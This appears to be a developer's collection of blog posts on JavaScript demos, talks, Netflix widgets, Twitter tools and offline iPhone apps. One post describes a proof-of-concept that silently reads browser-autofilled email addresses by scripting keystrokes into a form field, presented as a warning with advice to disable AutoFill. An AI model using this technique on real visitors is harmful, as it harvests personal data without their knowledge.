Here's a real-time peek at the total number of likes on Mitt Romney on Facebook. Mmm, sweet tasty schadenfreude!

Source code, such as it is, is up on GitHub. Enjoy!

Had a great time presenting at O'Reilly's Fluent Conference: JavaScript & Beyond, held May 29 through 31 in San Francisco. As promised, here's the presentation I gave. To start it up, click inside the black part and use your arrow keys to navigate.

I have never had a better audience for a presentation, nor have I ever felt prouder of the people I came up with at Yahoo. Gary Flake, Tom Hughes-Croucher, Greg Schechter, Steve Souders, Nicole Sullivan, Estelle Weyl, and Nicholas Zakas all gave stellar presentations, and reminded me why this sort of thing is so much fun to attend. Hope to be back next time!

The presentation is a pretty simple bit of HTML; someday When I Have Time™ I will document how I did it. It seems to run quite a bit more smoothly on Mozilla than Webkit; IE should work, but will have no animations.

I've fixed the single-character variable names in the example; sorry if that was confusing.

And ... yes, I'm thinking about writing a book on this subject. Suggestions welcome!

Special note to RSS readers: this entry contains live JavaScript. Please visit the page to see it working!

Some generative Canvas magic, with a little help from the Twitter API and YQL's instant-data-URI converter. To try it out, enter your Twitter nickname down there where you see mine, which is kentbrew.

What's Going On Here?

We're calling the Twitter API from Yahoo! Query Language, receiving an image URL for your avatar, converting it to a data:uri, and returning its base64-encoded value as JSON with a callback.

Then we create an image on the client, load it with the data YQL gave us, and stretch it to fit our (comparatively very large) canvas tag.

Since we've created the image locally, the usual canvas security restrictions don't apply and we're free to sample pixels. We do this, collecting color values and positions, and then we start drawing circles with random sizes and tiny random offsets from where each color sample was taken.

We let this run for about 20 seconds; this is long enough to develop most of what you're going to get, while leaving some of the interesting batik/pastel texture intact.

Things to Do and Notice

The result can be surprisingly complex and fun to watch. I've noticed that intensely-colored logos seem to work nicely; see Etsy, ProgrammableWeb, YCombinator, BoingBoing, or Google. Also pretty awesome: those EightBit.Me avatars. Adrianocastro, noahmittman, and ladyfox14 are all looking great.

The default image is my own Twitter avatar. If you're a fan of this sort of thing, you might want to consider following me.

If you'd like to save one of these images, smarter Web browsers like Firefox will allow you to drag and drop to your desktop or save it the way you usually save an image.

The handwritten font was made by the talented Kimberly Geswein and distributed through the Google Web Fonts project.

Compatibility?

So far this works on everything I've tried, including my iPhone. As far as I know this should run on IE; I think I've done the right things with the Excanvas library.

Source?

This one's pretty straightforward; if you were to save this page to your desktop and drag it into your browser, it would come right up and run. There might be 75 lines of JavaScript in here, with a bit of CSS to make things pretty.

As always, please have fun with this, and do let me know how it goes.

Drag Files Here to Create Data URIs

Things to Do and Notice

• Drag an image onto the drop zone and you should see it immediately processed, thumbnailed, and displayed. (The thumbnail is the full-sized image scaled to 60 by 60px; sorry, but I'm just not that cool.)
• Everything's happening on the client; my end never sees your file.
• Multiple files work fine, and there are no size limits; it's all happening on your end.
• Non-image files also work, although you won't see a thumbnail.
• Directory drops will get you nothing but a blank box.

Caution

Something I'm loading asynchronously--I'm guessing it's Facebook-related, and has piggybacked on Disqus--seems to occasionally block the script. If it doesn't work, please try reloading the page and waiting for all the asynchronous calls to settle down. Sorry about that!

Source?

It's on GitHub, here:

https://github.com/kentbrew/dragToDataUri

Loving GitHub for Mac!

I'm using the extremely spiffy new GitHub for Mac to keep track of this project. Fast, free, gorgeous, and highly recommended!

As always, please have fun, and do let me know how it goes.

<input type="text" placeholder="username" />
<input type="text" placeholder="e-mail" />
<input type="password" placeholder="password1" />
<input type="password" placeholder="password2" />

Sadly, placeholders only work with the most recent browsers, which do NOT include Firefox less than version 4 or IE less than version 9.

Here's a standalone script that:

• Checks if we're using a browser that doesn't recognize placeholders.
• Looks for text or password fields that have placeholders.
• Creates absolutely-positioned SPAN tags, sets their innerHTML to whatever's in the placeholder, and inserts them immediately before their INPUT tags.
• Hides or shows them at the right times, depending on whether the field already has a value, and on events like focus, blur, and mousedown.

Hasn't This Already Been Handled?

Yes. Dave Sparks did it over on kamikazimusic.com with jQuery and Modernizr and Dave Dorward posted a non-library-based solution on stackoverflow in August of 2010. I wrote this 1) for fun, 2) because I tend not to require libraries unless I absolutely, positively must, and 3) because I don't like solutions that mess around with the VALUE attribute or add a LABEL to the DOM.

Try It Here:

(has a prefilled value; delete to see the placeholder)

The Script

Notes

• I've taken steps to move placeholder styling to the last line of the script; feel free to tweak the font size or color if it's not quite right.
• If you want to use a different global namespace than IP, go right ahead. It only appears once, on that very last line.

• When you're creating new INPUT boxes on the fly, you should be able to do this:

  IP.f.makePlaceHolder(yourInput, yourPlaceholder);

  ... any time after page load.

• Yes, I'm seeing the delay between page load and placeholders appearing; this is because of my other third-party scripts (Disqus, Delicious, Twitter, and Delicious) which are taking a while. As long as it's being called after your last INPUT tag, it's probably safe to fire it off immediately instead of waiting for page load; to do that, you'd remove this line:

  $.f.listen($.w, 'load', $.f.init);

  ... and substitute this:

  $.f.init();

If it looks like it will be useful, feel free to fork Input Placeholders For Everyone on GitHub. As always, have fun, and please let me know how it works.

SxSW 2011

I had a fine time at SxSW; most of what I had to report echoes what's already been said by people like Leonard Lin and in Things To Remember About SxSW, which I haven't updated in about three years. It was huge, packed, and fun for several unexpected reasons.

• This was the year SxSW went Seriously Corporate, and that turned out not to be such a bad thing. Pepsi, Dodge, and CNN had huge presences, and were welcome relief from crowds and craziness. AOL has been coming to Austin for years; I find myself feeling prouder and prouder of what they've accomplished every time.
• 2011 was also the Year of the Food Truck; I sat down in exactly one restaurant during the entire week--Blue Ribbon Barbecue, which is new, and excellent--and found myself going back for the brisket twice more. Halcyon is still there, and still my favorite oasis of calm when I need to get a bit of coding done.
• Sadly, this was also the Year of the Many Confusing Lines and Poorly-Executed Crowd Control. You needed the exact right combination of badge color, armband color, and RSVP/VIP status to stand a chance of getting into anything interesting; the closing act for Interactive--a band whose name rhymed with "Boo Biters"--turned away thousands, including me.
• As always, I made new friends and strengthened old ties; seven years in I'm starting to feel like I know where to go and what to do. Special thanks to the British and Canadian mafias, who guided me well when it came time to choose a not-so-crowded destination or two.

20x2 (Twenty Speakers, One Question, Two Minutes Each)

I was in fine company once again at 20x2. Some highlights: Ben Ward, Ryan Gantz, Neiliyo, and the incomparable Southpaw Jones. The Question of the Year was "Why Did You Do It," so I answered the one everyone had been asking me since October:

At the show I dedicated it to my friend Havi Hoffman, who was in the audience, and knows why. :)

Solo Presentation: Mistakes I Made Building Netflix for the iPhone

At the time I proposed this panel, Netflix for the iPhone had not yet released. By the time it went live, I'd already left the company. So I was very, very nervous walking in. Fortunately I had a great crowd, nice folks in the Green Room, and--after I loosened up a bit--it seemed to go well.

I've never put a SxSW presentation online; they tend to get rewritten the night before, and this one was no exception. Enough people asked for it, however, so I put the slides up on Slideshare.

The demo you should look at during the slide that says "awesome demo here" is at iflx.us, and the code (which, I must reiterate, was literally written the night before the presentation) may be forked at https://github.com/kentbrew/iflx.

Here's the audio, which I hope I'm doing right:

If this is broken, you should be able to get the MP3 straight from the podcast page. Please let me know if it's blown, so I can try to figure out a permanent solution.

Around 5:25--which is really hard to find using the SxSW interface, sorry about that--you'll hear me talking about the Blue Screen of Death we're showing people at Vurve; it is explained in detail on the Vurve blog, and I would love to see more of them out there.

Important Notes

• No, I am not looking for work building iPhone apps. However:
• Yes, I'd be happy to talk to you or your company--and maybe even deliver this presentation, if that turns out to be the right thing to do--about JavaScript widgets, opening APIs, the differences between prototyping and production, and building HTML-powered mobile applications. For best results, please use my contact form. LinkedIn and Facebook are not great for me; I look at them maybe once every couple of weeks, and e-mail even less.
• I'm not sure how well it came across in the presentation, but I do not want to come off looking like I'm claiming credit for Netflix for iPhone. Everybody at Netflix--down to the shipping guy and the HR department, which is legendary--build Netflix for the iPhone, and I was fortunate enough to be the person who got to put the frosting on the cake and light the candles.

Same Time Next Year?

Oh, hell yes. Going to try for Film; probably not going to try for Music, which looks like a complete zoo.

Gawker Media includes sites like Valleywag, Gizmodo, Lifehacker, and I09. The user database contained logins (both straight-up user names and e-mail addresses) and encrypted passwords. Sadly, the encryption was quite weak (unsalted DES) and 300,000 password were quickly broken.

Non-Gawker property Slate was kind enough to grab a copy of the data and put up a form on their page so you can quickly check to see if your login was compromised.

While this undoubtedly falls under the heading of public service, I had to take a quick peek at Slate's page, just to see what they were up to.

The good news: their form is quick and painless. It's going to do a lot of people a lot of good.

The bad: the page that hosts the form is absolutely crammed with crap. Ads, iframes, third-party sharing devices, and other stuff, all of which runs in the root context of the password form. And the form itself uses GET, and has zero protection against outside entities (like me) who might want to exploit it.

If you'd like to see if your Gawker password was compromised without feeding Slate a bunch of context about you, enter your login, which could be an e-mail address or simple string, here:

Go

Please note that I am opening the results in an iframe, so I will never know what value you enter. Slate does, of course, if they are paying attention to their endpoint, but none of their advertisers or third-party sharing devices--which are running JavaScript as root in the same page as the entry form on the original site--ever will.

What Now?

Assuming this is still working, you'll see one of three results:

This is the one you want. It means your account was neither compromised nor cracked. If you see this with every possible e-mail address or account name you may have used on any Gawker site (and they are legion, believe me!) you are fine for now, but should still read and implement the advice in Damage Control, below.

Your account name was released but your password was not cracked in the initial release of the file. Chances are pretty good it's been cracked by now, and Slate doesn't know about it.

Your account name was released with its cracked password. You're probably tweeting about acai berries right now.

Damage Control

Nothing you haven't already heard and ignored: quit using the same password for all those social sites. Go change everything, right now. Get 1password and use it religiously. Be very careful that the iPhone apps you're using don't send your password in plaintext. Insist that the new social sites you're trying out use oAuth or something similar, and maybe even ask them to purge your account if you don't use it for, say, a 90-day stretch.

Special Note to Slate:

Um, guys? This was nice of you, but it would have been much nicer on a page without a Facebook Connect script. And while hackers like me around the world all appreciate an open endpoint to check on this sort of thing, are you absolutely sure you don't want to restrict this to POST requests?

See Also

The inimitable Jed Smith quickly created gawkercheck, which gives Slate nothing at all.

• a few mildly entertaining Hack Day projects, which will never see the light of day
• the Facebook Connect thingie, which lets you broadcast your Neflix ratings to your Facebook wall
• the Oauth Walk-Through for developer.netflix.com
• the new-and-improved Netflix Widgets, which may be seen on Hacking Netflix whenever they do a New Releases post
• the first proofs-of-concept for the "Trickplay" feature--those cool little thumbnails that stream by as you're fast-forwarding and reversing--using nothing but CSS, HTML, JavaScript, and the open APIs. (You can see this now in Canada and on the discless PS3 version.)
• the front-end UI for Netflix for the iPhone plus (ahem) several other mobile devices that may or may not ship in the future, all on the open Web and API stack.

What I'm happiest about isn't a specific project, however. During my time at Netflix I was an unrelenting pain in the ass to anyone who would listen to me saying "Dude! We should ditch that monstrous hunk of Java and just build everything as a Web app using our own open APIs!" It seems to have worked; iPhone shipped as a Web app, Canada shipped as a Web app, and the new discless PS3 product shipped as a Web app. (And I never had to write a single line of steenkin' Java.)

I strongly recommend the Web-stack/use-your-own-APIs approach to anyone contemplating building a consumer Web service, and will be happy to consult or come speak on the topic, if requested.

Anybody Want My Old Job?

It (well, actually one just like it, which has been open for a while) is on the Netflix career board, under Senior User Interface Engineer, Mobile Platforms. If you have the chops, Netflix is an awesome place to work: it's a universally-loved product built in spectacular surroundings by the smartest people in the business, and they pay you what you're worth and don't make you keep track of your time off.

What's Next?

I'll be up in San Francisco on November 4th at Mashery's Business of APIs conference, talking about the pitfalls of building a product on your own APIs. Look for me next spring at South By Southwest, where I will present Mistakes I Made Building Netflix for the iPhone, which promises to be extra-awesome now that I don't have to worry about reactions from management. :)

In the meantime, I'm going to help out with Vurve. Stay tuned!

Try it out in your device (Android 2.2+) to see it working.

Here's the code; have fun, and please let me know (following @kentbrew on Twitter works best) if it's busted.

<!doctype html>
<html>
<head>
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" /> 
  <title>Android Fixed-Position Scrolling Demo</title>
  <style>
    body {
      -webkit-user-select:none;
      -webkit-touch-callout:none;
      -webkit-tap-highlight-color: rgba(0,0,0,0);
      font-family:helvetica neue;
      font-size:18px;
      margin:0;
      padding:0;
    }
    
    #hd, #ft {
      position:fixed;
      width:100%;
      text-align:center;
      font-weight:bold;
    }
    
    #hd { 
      top:0; 
      background:#050;
      line-height:44px;
      height:44px;
      color:#ff0;
      border-bottom:2px solid rgba(0, 0, 0, 0.2);
    }
    
    #ft {
      height:49px;
      bottom:0;
      line-height:48px;
      color:#fff;
      text-align:center;
      background:transparent url(UITabBarBkgd.png) 0 0 repeat-x;    
    }
    
    #bd {
      background:#fff;
      margin:44px 0 49px 0;
    }
    
    div, ul, li {
      margin:0;
      padding:0;
    }
    
    li {
      list-style:none;
      height:44px;
      line-height:44px;
      padding-left:10px;
      border-bottom:1px solid #eee;
    }
    
    li:nth-child(even) {
      background-color:#ffa;
    }
  </style>
</head>
<body>
  <div id="hd">Fixed Headers and Footers</div>
  <div id="bd">
    <ul>
      <li>Look, Ma!</li>
      <li>No JavaScript!</li>
      <li>If you're</li>
      <li>looking at this</li>
      <li>with Froyo</li>
      <li>you should</li>
      <li>be seeing</li>
      <li>a fixed header</li>
      <li>a fixed footer</li>
      <li>and a </li>
      <li>lovely </li>
      <li>scrolling</li>
      <li>list!</li>
      <li>Sigh....</li>
      <li>if</li>
      <li>only</li>
      <li>this</li>
      <li>worked</li>
      <li>on an</li>
      <li>iPhone,</li>
      <li>life</li>
      <li>would</li>
      <li>be</li>
      <li>pretty</li>
      <li>much</li>
      <li>complete.</li>
    </ul>
  </div>
  <div id="ft">... and Scrolling Body</div>
</body>
</html>

Here we're using some really crummy JavaScript--view source if you're curious--to focus on the input box named email, programmatically run through all 26 letters of the alphabet, and waiting a second between each to see if autocomplete has helped us out.

If it has, we'll pause and show what we find. Insert scary scenario here; we could do this invisibly and do what we like with what we get.

If we get to Z and nothing happens, you haven't filled out a form requesting your e-mail address with an input named email. Enter a bogus address such as foo@bar.com and hit Enter to reload the page.

A variant of this attack works on IE6 and IE7 by hitting the down-arrow twice and then Enter; it's much faster (and scarier) than this.

If you have not done so already, in Safari:Preferences:AutoFill, turn everything off.

Hey, neat! Flickr's launching HTML5 video for the iPad. Gorgeous, but ... what about the rest of the Web? Are we stuck with Flash? No.

To find these I used Firefox with the User Agent Switcher set to the iPad user agent string. I then used Firebug to inspect the video element, copied the whole <video> tag from each, and pasted them in here with zero further exertion of brainpower.

You'll need a Webkit-based browser to play these videos; see Caveats and Gotchas below for notes.

Caveats and Gotchas

• Funky stuff happens to the controls when I try to put more than a couple of videos on one page. If you're not seeing controls for one or both of the videos, please reload the page.
• Since Flickr seems to be supporting .mp4 only, these won't work on Firefox.
• Safari looks best; I'm seeing noticeably crappier results in Chrome.
• IE users are of course also out of luck; no HTML5 for you, come back one year....

Pretty awesome to see Flickr taking that first step away from Flash. Hope to see some Ogg soon, so Firefox users can play too!

I had a blast doing this; slides will be up on Slideshare as soon as I can possibly make it happen. Thank you, everyone who attended, and thank you Firefox for not crashing or slowing down under the weight of many, many tabs.

The HTML:

The JavaScript:

The National Center for Missing and Exploited Children is one member of a network of Web sites that feed into a central multilingual database with information and photographs of missing children. Network participants customize their country's website to meet their individual needs. This enables each country to quickly and easily create posters of missing children from their country in their native language.

This hack uses English data from missingkids.com to create a CAPTCHA, which stands for Completely Automated Public Turing (test to tell) Computers and Humans Apart.

Among other things, users desiring a new Yahoo! login need to pass a CAPTCHA, so we serve up a ton of these things every day. By partnering with missingkids.com, we could greatly increase public awareness, and (hopefully) get a few kids back to their families.

Here's a working prototype. (Emphasis on "prototype" ... if the image doesn't show up, please reload the page.)

Success! You passed the CAPTCHA!

Try another?

On 14 December 2009, Netflix quietly launched a pair of new widget builders, at http://developer.netflix.com/widgets.

Both builders create single-line JavaScript widgets that inject a big chunk of the Netflix experience onto outside pages with very little effort on the part of the site operator. Here are a couple of example implementations and a tiny peek at how they work.

The Bubble

If you blog lots of movies and/or don't want to give up sidebar space for a static widget, the Bubble Widget is your friend. Here's a sample passage from our friends at Hacking Netflix:

Netflix New Releases for January 5th, 2010

Interesting titles include Cloudy with a Chance of Meatballs, The Final Destination, 50 Dead Men Walking, Big Love (Season 3), Chuck (Season 2), The Philanthropist: The Complete Series, The Good Witch, Trucker, and Adam.

Streaming releases this week include Monsters, Inc., Rocky V, Sling Blade, The Last Picture Show, and World's Greatest Dad (more on StreamingSoon).

The Bubble Widget is a single SCRIPT tag, which should be included at the very bottom of your page like this:

<script src="http://jsapi.netflix.com/us/api/w/b/bu100.js"></script>

To see it in action, mouse over any of the linked titles above.

The Spotlight

Spotlight widgets come in many flavors and sizes. To make your own, visit the Spotlight Widget Builder, fill out the form, and collect your inline JavaScript.

The code for the first widget above looks like this:

<a href="http://movi.es/BVdT5" title="The Dark Knight on Netflix">The Dark Knight on Netflix</a>
<script src="http://jsapi.netflix.com/us/api/w/s/sp100.js"
settings="id=http://movi.es/BVdT5&w=132&h=tfn"></script>

Paste this into any Web page where you want the widget to show up, and you're done.

Things to Do and Notice

• Both widgets depend on Netflix's new tiny-URLs-for-movies domain, http://movi.es.
• The Spotlight widget will hide links to movi.es if it renders correctly. If it doesn't come up, the link will still be there, which is critical for RSS readers and other no-JavaScript clients.
• If you visit http://movi.es/BVdT5, you'll be redirected to The Dark Knight's Netflix page.
• All widgets were expressly designed to keep your readers on your page, instead of sending them back to Netflix. Add and Play buttons launch iframes or new windows; Preview buttons bring up a black-glass pane.
• If you choose to include the Free Trial link, you can earn hefty referral bonuses for new sign-ups. Netflix is currently changing affiliate vendors; look for a greatly streamlined sign-up process in the near future.

Acknowledgements

Although I was personally thrilled to play the role of the front-end developer on this project--much of it depends on the techniques detailed in Case-Hardened JavaScript, which is in desperate need of attention--the heavy lifting was done on the back end by the designers, managers, and engineers on the Netflix Developer Network team. They are: Anu Sonvane, Hans Granqvist, John Haren, JR Conlin, Lalitha Shankar, Michael Hart, Mikey Cohen, Navin Prasad, and Priya Poolavari.

Special thanks to: Adam Platti, Andy Baio, Ava Hristova, Barney Mok, Bill Scott, Chad Dickerson, Chanel Wheeler, Christian Heileman, Dan Theurer, Dave Balmer, Douglas Crockford, Dustin Diaz, Ed Ho, Eric Miraglia, Gina Groom, Hedger Wang, Heidi Pollack, Isaac Schleuter, Jason Levitt, Jeremy Gillick, Jeremy Zawodny, Jimmy Byrum, Jonathan Trevor, Kim Trott, Leonard Lin, Matt McAlister, Matt McCarthy, Matt Sweeney, Micah Laaker, Mike Davidson, Mike Lee, Nate Koechley, Pasha Sadri, Paul Bakaus, Peter Michaux, Rasmus Lerdorf, Scott Schiller, Steve Carlson, Taylor McKnight, Thomas Sha, and Vickie Brewster.

Next Up: "Hacking Netflix Widgets"

There's a lot more lurking backstage; after a few more internal issues settle out, I hope to be able to present a much more in-depth look at how Netflix widgets work, and what else you can do with the technology behind them them.

Full documentation for Netflix API Version Two is on the way; stay tuned to http://developer.netflix.com for further information.

Backchannel: Possibly the Smallest Useful Offline Application That Isn't a Flashlight

Backchannel is a re-implementation of @jerrymichalski's Red:Green Cards. It's intended for use during seminars and other meetings where the audience needs to communicate a limited set of one-way messages to the speaker. While running Backchannel, your phone's screen will turn red while vertical and green while horizontal. This could be used for feedback (faster/slower, go/stop) or voting (yes/no). There's no technical reason why the colors couldn't be different, or programmable, or a third color added to the plus-ninety-degrees orientation.

While I've seen several red:green versions, they suffer from a) having to be downloaded from the App Store or b) having to be downloaded live from a Web site, which may or may not be responding from your chair at SxSW.

Enter the offline version. To try it out, fire up your iPhone and go here:

http://kentbrewster.com/backchannel/bc.html

Once you're done flipping your device up and down to see the color change, try saving a local copy. To do this, touch the + button at the bottom of your browser and choose Add to Home Screen. The Add to Home panel should come up, with Backchannel's red-and-green icon and title. Touch Add and you should see it on your home screen.

To see if local storage worked, go to Settings, put your device into Airplane Mode, turn off your Wi-Fi connection, exit Settings, and try Backchannel again. If all is good, Backchannel should behave exactly the same as it did before, with the important difference that all browser chrome should be completely gone, leaving only the very top ten-pixel-thick connection/battery status bar.

Important Note from the Voice of Experience: if you forget to turn your network back on when you're done testing, you will be unable to tell that you have not broken your iPhone. If you take it back to the Genius Bar and ask for help, they will point at you and laugh.

How to Make This App

Besides the one that tells how everything works (which you are reading now) there are five files in this directory:

• bc.html -- the HTML structure
• presentation.css -- the CSS
• behavior.js -- the JavaScript
• icon.png -- the icon used to represent the application on the iPhone desktop
• main.manifest -- the list of files to be stored locally

Structure

This is basic HTML with some custom links, attributes, and metas, as discussed below.

<!DOCTYPE html>
<html manifest="main.manifest">
   <head>
      <title>Backchannel</title>
      <meta name="viewport"
         content="width=device-width;
                  initial-scale=1.0;
                  maximum-scale=1.0;
                  minimum-scale=1.0;
                  user-scalable=0;"
      />
      <meta name="apple-mobile-web-app-capable"
         content="yes"
      />
      <meta names="apple-mobile-web-app-status-bar-style"
         content="black"
      />
      <link rel="apple-touch-icon" href="icon.png" />
      <link rel="stylesheet" type="text/css" href="presentation.css" media="screen" />
   </head>
   <body>
    <script src="behavior.js"></script>
   </body>
</html>

Those custom items:

• manifest -- points at the list of files that we want to save locally.
• viewport -- sets the initial width of the document to whatever the width of the device is, and tells it not to scale the size, ever. This plus preventing default on touchmove (in the behavior, below) causes the app to be rock-steady.
• apple-mobile-web-app-capable -- lets the device know that this page can be saved as a mobile web app.
• apple-mobile-web-app-status-bar-style -- hides the status bar
• apple-touch-icon -- points to the icon we want to use on the home screen

Yep, that's the HTML5 doctype up there. Please promise me right here and now that you will never build anything for an iPhone that's not HTML5.

Presentation

Here we tell Safari what color to make each orientation of the screen:

.landscape {background-color:green;}
.portrait {background-color:red;}

All we're going to do to make this happen is to change the main body's CSS class when the device rotates.

These colors are, of course, trivially easy to change for color-blind speakers.

Behavior

Here we listen for the onorientationchange event and change the screen's CSS class name accordingly.

(function (w, d, k) {
   var $;
   $ = w[k] = {};
   $.w = w;
   $.d = d;
   $.f = (function () {
      return {
         init : function () {
            $.s = $.d.getElementsByTagName('BODY')[0];
            $.s.addEventListener("touchmove", function (e) { e.preventDefault(); }, false);
            $.w.setTimeout($.f.orient, 0);
            $.w.onorientationchange = function () {
               $.f.orient();
            };
         },
         orient : function () {
            if ($.w.orientation === 0) {
               $.s.className = 'portrait';
            } else {
               $.s.className = 'landscape';
            }
            $.w.setTimeout($.f.home, 0);
         },
         home : function () {
            $.w.scrollTo(0, 1);
         }
      };
   }());
   $.f.init();
}(window, document, 'backchannel'));

We're listening for touchmove in order to prevent the screen from bobbling about when the user touches and drags.

Icon

Here's our happy little icon, icon.png:

We could have also used a .jpg here, but it's significantly bigger and uglier.

Manifest

Here we tell the app what files we want it to save locally:

CACHE MANIFEST
# v20091210
presentation.css
behavior.js
icon.png

Our manifest starts with CACHE MANIFEST. This is required.

Next up is a comment. If your device is online when the user starts your app, it will ping the remote version of the manifest before loading, to make sure nothing needs to be updated. If I make a change to behavior.js, I'll also change something in my manifest--that version number, most likely--to let the client know it needs to pull fresh copies of the cached files.

Finally, list all files. We could be using relative path names here--caution: these will be relative to the manifest's path, not the path of the document referencing the manifest--but we're keeping things simple.

Our manifest does not include bc.html, since that's the file that points to main.manifest.

Important: Why This Didn't Work the First Time I Tried It

Unless you've been reading ahead, chances are excellent that your Web server won't send main.manifest with the proper content type. If your server sends your manifest as text/plain, it is guaranteed to silently fail. What you want is text/cache-manifest. To make it work, I added the following directive to my Apache .htaccess file:

AddType text/cache-manifest .manifest

To make sure it was working, I used Web-Sniffer to make sure my Content-Type was being set correctly:

... and it was. Huge thanks to @thecssninja for this tip, and much useful material about creating offline apps; please see How To Create Offline Web Apps On The iPhone for more. (The Ninja also has tips for those of you stuck with IIS and other inferior Web servers.)

Further Reading

• Anything by The CSS Ninja, already cited above.
• Bert Timmermans, whose work is both pretty and useful, even though my iClock beat his Checklist into production by three months, making it Not In Fact The World's First Offline Capable Webapp for the iPhone. :)
• The Mozilla Developer Center's Offline Resources in Firefox page, for explaining how offline apps stay up-to-date.
• The Safari Reference Libary's HTML 5 Offline Application Cache, for more on handling cache events.

As always, have fun with this, please let me know how it goes, and feel free to repurpose the code as long as you're within the limits of my Right and Permissions.

Here's a fun little vacation project, a canvas-powered Collide-O-Scope.

After being absolutely floored by some really impressive new HTML5 demos--see the 9elements Twitter mash-up, for one--I figured it was time to give it a try myself. Here's the result.

Assuming you're running a canvas-aware browser--see compatibility notes below-- you should be seeing several moving sets of randomly-generated circles, all projected with their seven possible translations and reflections. Each set has an X and Y vector; before each move we're running some very crude collision detection and altering those vectors if needed.

While it's running, you can change things around by clicking anywhere inside the canvas. This will remove the oldest set of circles and add a new one where you click.

The fuzzy/translucent effect comes from building up a number of very faint circles, on on top of the other. Depending on the colors, you'll see fuzzy blobs, sharp stained-glass sections, and other interesting stuff when two sets of circles overlap.

At the moment I'm seeing smoothest results under Firefox in OSX, closely followed by Safari, with Chrome in last place. All three--and Opera 10--also run in Windows, but since I'm running Parallels I can't say how they compare to OSX, performance-wise.

Sorry, no love for IE; I did try excanvas, but it failed right away and I'm afraid I'm just not committed enough to caring about IE to investigate. (Hobby/pretty/vacation project, remember?)

Try It Out

If you'd like to try Collide-O-Scope, save this as an HTML file on your local directory and drag it into your browser:

<!DOCTYPE HTML>
<html>
<head>
<title>Collide-O-Scope</title>
<style>
body {
   margin:0;
   padding:0;
   background-color:#666;
   text-align:center;
}
canvas {
   margin:50px auto 0;
   border:2px solid #ffa;
}
</style>
</head>
<body>
<script src="http://kentbrewster.com/collide-o-scope/collide.js">
{"height":400, "width":400}
</script>
</body>
</html>

Height and width go inside the <SCRIPT> tag in curly brackets; for more on the techniques, please see any of my articles about Case-Hardened JavaScript.

Other valid configuration variables may be discovered by viewing the script and looking in the houseKeep function; you can change things like the number of circles on the page, the maximum number of rings per circle, ring thickness, ring opacity, background opacity, and canvas background color.

As always, have fun with this, don't leech the script for production use on your site, and please let me know how it goes.

Hidden Tweets

A short while ago, something sucked the fun right out of Twitter. All of a sudden, replies from people who I was following to people who were a) not me, or b) not people I was also following, mysteriously quit showing up. Without knowing more about the underlying data structures I'm not certain I understand Twitter's explanation; it seems to me they'd have to go out of their way to find and remove tweets from people I'm following that were in reply to tweets from others that I'm not following, rather than just show me all the tweets from everybody I am following.

Anyway. I figured I'd go with it for a while and see if I noticed any difference ... and ... yeah, I do. Turns out the main way I found new, interesting people to follow was through those half-conversations. I haven't followed anybody new since replies broke, and find myself growing increasingly bored with Twitter.

Enter the Hack

At the top of this page, you'll see an entry box with my Twitter id filled in. If you click the button, you will see a list of tweets from people I'm following. Each of these tweets is the most recent one posted in reply to another Twitter user. If I'm not following that person, I won't see it when I look at my Twitter page. Right, some of these are false positives, for reasons mentioned below. I could clean it up, but I'm probably not going to do it. It's a hack, people. :)

If you'd like to try it out and see some (probably not all) of what you're missing, fill in your Twitter screen name and click Go.

What This Won't Do

• Show all your friends. I'm calling the friends/status API five times to get the most current status from the last 500 users you followed; that's enough to show some of what you're missing. (Hey, while I have your ear ... please take a moment to think about the extra carbon you're causing Twitter to release into the atmosphere with all those follows you never actually pay attention to. 500 ought to be enough!)
• Show all the tweets you're missing. Sorry, it's only looking at the current status and reporting it as possibly hidden if it's listed as in-reply-to another Twitter user.
• Hide the tweets you're not missing. Again, sorry: since I'm only looking at the last 500 people you followed, I have no way of knowing what's in reply to the other 6000. (Again, please ... thin that ridiculous herd of follows, and help save Al3x's sanity.)
• Work on your site with a single line of JavaScript. Sorry, this is not a case-hardened badge. (It might make an interesting Greasemonkey plug-in ... but somebody else gets to write it. Please keep in mind that you will quickly use up your 100 API calls in an hour if you bang on it too hard.)

Please Re-Tweet! :)

Twitter is much less useful to me without replies to friends I haven't met yet, so I really do hope they can fix it. Have fun with this, and if it's useful, kindly tweet it up on Twitter. Thanks!

Twitter Search is turning out to be a very powerful force in real-time search. Instead of relying on a vaguely-defined, possibly-corrupt, almost-always-out-of-date algorhythm owned by somebody else, why not check out what your fellow Internet readers are marking as interesting and/or relevant? Here are three instances of the same search prototype, two with text queries and one with a from: query, showing tweets from a single person.

If you'd like to try the Twitter Seach Badge on your site, include this bit of JavaScript wherever you want it to pop up:

<script src="http://r8ar.com/tsb.js"></script>

The usual batch of configuration variables--height, width, etc--are available; to show a default search, do something like this:

<script src="http://r8ar.com/tsb.js">{"query":"obama"}</script>
<script src="http://r8ar.com/tsb.js">{"query":"from:scobleizer"}</script>

Right, obviously I need to combine this with Twitterati. I'm just wishing the Twitter Search API had a way to come up with the most recent tweets by friends of username. Will probably have to munge something together with Pipes to do that.

Also still to come: Get More and Go Back links at the bottom.

Here's my talk from the May 9th BayJax meetup, tracing the development process of this badge, which I wrote in a single afternoon. An older but much more detailed version of this presentation is online here, under Case-Hardened Web Badges: The Live Version.

Start Presentation in New Window

If you'd like me to present this, or something like it, or something completely unlike it (like Ajax security or OAuth or rolling your own API with Pipes) at your conference, please contact me and I'll see what I can do. As always, have fun and please let me know how it goes.

Netflix, in case you didn't know, is a marvelous place to rent movies and television series on DVD, and watch an increasing percentage online. Over the last ten years, Netflix has accumulated a treasure trove of information about movies and the people who make them, and has recently opened it all up with the Netflix Catalog API. (Full disclosure: yes, I work there, and yes, it's awesome.)

Here's a handy tool to help you get your feet wet without having to worry about OAuth.

Before You Begin

You'll need a developer account, from developer.netflix.com. Once you're signed up and logged in, the link to Consumer Key--below, to the left of the first text entry box--should take you right to the spot where you can copy your key and secret.

If you're feeling paranoid, please view source before clicking the Onwards! button. This thing just below that looks like a form really isn't a form, and is not going to submit your information anywhere except the Netflix API. The only reason why I'm using an all-client solution is so you, the developer, can actually try out your very own consumer key and shared secret, without me, the potentially-nefarious third party, ever actually knowing what they are.

Try Your Queries Right Here

Sample Queries (Click to Try)

• Autocomplete search results for the string "mcdo":
  http://api.netflix.com/catalog/titles/autocomplete?term=mcdo
• Find the first Frances in the People section:
  http://api.netflix.com/catalog/people?term=Frances&max_results=1
• Zoom in on Frances McDormand:
  http://api.netflix.com/catalog/people/61544
• See Franceses 2 through 10:
  http://api.netflix.com/catalog/people?term=Frances&start_index=1&max_results=9
• Frances McDormand's filmography, with synopses:
  http://api.netflix.com/catalog/people/61544/filmography?expand=synopsis
